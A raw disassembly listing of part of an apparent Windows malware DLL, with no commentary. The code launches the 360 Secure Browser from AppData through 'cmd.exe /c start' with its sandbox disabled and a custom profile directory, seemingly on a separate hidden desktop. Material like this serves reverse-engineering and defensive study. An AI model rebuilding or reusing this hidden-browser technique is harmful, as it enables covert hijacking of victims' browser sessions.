lea rax, [rbp + 0x60]
lea rdx, [rbp + 0x22f0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x580]
xor r9d, r9d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
xor r8d, r8d
xor ecx, ecx
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
jmp 0x180007a1d
lea rcx, [rbp + 0x1692]
xor esi, esi
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x1690], si
call fcn.180006860
lea rdx, [rbp + 0x1690]
xor r9d, r9d
mov qword [rsp + 0x20], rdx
lea edx, [rsi + 0x1a]
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea rdx, [0x18006875c]
lea rcx, [rbp + 0x1690]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rcx, [rbp + 0x3582]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x3580], si
call fcn.180006860
lea rdx, [rbp + 0x1690]
lea rcx, [rbp + 0x3580]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, str.360se6_
lea rcx, [rbp + 0x3580]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
xor eax, eax
lea rcx, [rbp + 0x1482]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x6e0], si
mov qword [rbp + 0x6e2], rax
mov qword [rbp + 0x6ea], rax
mov qword [rbp + 0x6f2], rax
mov qword [rbp + 0x6fa], rax
mov qword [rbp + 0x702], rax
mov qword [rbp + 0x70a], rax
mov qword [rbp + 0x712], rax
mov qword [rbp + 0x71a], rax
mov dword [rbp + 0x722], eax
mov word [rbp + 0x1480], si
call fcn.180006860
lea rdx, [rbp + 0x1690]
lea rcx, [rbp + 0x1480]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rcx, [rbp + 0x6e0]
call fcn.180006890
lea rdx, [rbp + 0x6e0]
lea rcx, [rbp + 0x1480]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rbp + 0x1480]
lea rcx, [rbp + 0x3580]
call fcn.180006a10
lea rdx, str.Application360se.exe
lea rcx, [rbp + 0x1480]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rcx, [rbp + 0x2b32]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x2b30], si
call fcn.180006860
lea rdx, str.cmd.exe__c_start
lea rcx, [rbp + 0x2b30]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [rbp + 0x1480]
lea rcx, [rbp + 0x2b30]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, str.___no_sandbox___allow_no_sandbox_job___disable_3d_apis___disable_gpu___disable_d3d11___user_data_dir
lea rcx, [rbp + 0x2b30]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea r8d, [rsi + 0x60]
lea rcx, [rbp + 0x278]
xor edx, edx
call fcn.180006860
lea rax, [0x180071e80]
mov dword [rbp + 0x270], WSAGetLastError
mov qword [rbp + 0x280], rax
xor eax, eax
mov qword [rbp + 0x90], rsi
mov qword [rbp + 0x98], rax
mov qword [rbp + 0xa0], rax
lea rax, [rbp + 0x90]
lea rdx, [rbp + 0x2b30]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x270]
xor r9d, r9d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
xor r8d, r8d
xor ecx, ecx
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
jmp 0x180007a1d
mov rcx, qword [0x180071e70]
call qword [sym.imp.USER32.dll_CloseDesktop]
jmp case.default.0x180007118
call fcn.180003230
jmp case.default.0x180007118